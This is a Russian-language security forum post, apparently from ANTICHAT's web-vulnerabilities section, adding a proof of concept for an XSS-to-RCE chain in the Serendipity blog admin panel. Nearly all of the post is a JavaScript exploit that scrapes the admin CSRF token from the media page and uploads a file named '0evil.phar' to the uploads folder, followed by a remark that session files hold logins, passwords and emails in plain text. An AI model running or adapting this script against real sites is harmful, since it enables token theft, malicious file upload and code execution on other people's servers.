HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #2  
Старый 06.11.2020, 18:50
Baskin-Robbins
Guest
Сообщений: n/a
Провел на форуме:
92829

Репутация: 212
По умолчанию

Небольшое дополнение.

Демонстративный POC XSS->RCE via Phar

Код:
Code:
let page = 'http://localhost.com/serendipity/serendipity_admin.php?serendipity[adminModule]=media';

function stealToken(data) {
   let dom = new DOMParser();
   let doc = dom.parseFromString(data, "text/html");
   let input = doc.getElementsByName("serendipity[token]")[0];
   
   submit(input.value);
};

function submit(token) {
    let blob = new Blob([""], {type: 'application/octet-stream'});

    let formData = new FormData();
    formData.append("serendipity[token]", token);
    formData.append("serendipity[action]", "admin");
    formData.append("serendipity[adminModule]", "media");
    formData.append("serendipity[adminAction]", "add");
    formData.append("serendipity[userfile][1]", blob, "0evil.phar");
    formData.append("serendipity[target_filename][1]", "");
    formData.append("serendipity[target_directory][1]", "uploads/");
    formData.append("serendipity[column_count][1]", "true");
    formData.append("serendipity[imageurl]", "");
    formData.append("serendipity[target_filename][]", "");
    formData.append("serendipity[target_directory][]", "");
    fetch(page, {
            method: 'POST',
            body: formData
    });
}

fetch(page)
    .then(r => r.text())
    .then(d => { stealToken(d) });
Плюс не бага, но важно - в файлах сессии хранятся в открытом виде логин, пароль, почта, чего быть не должно.
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ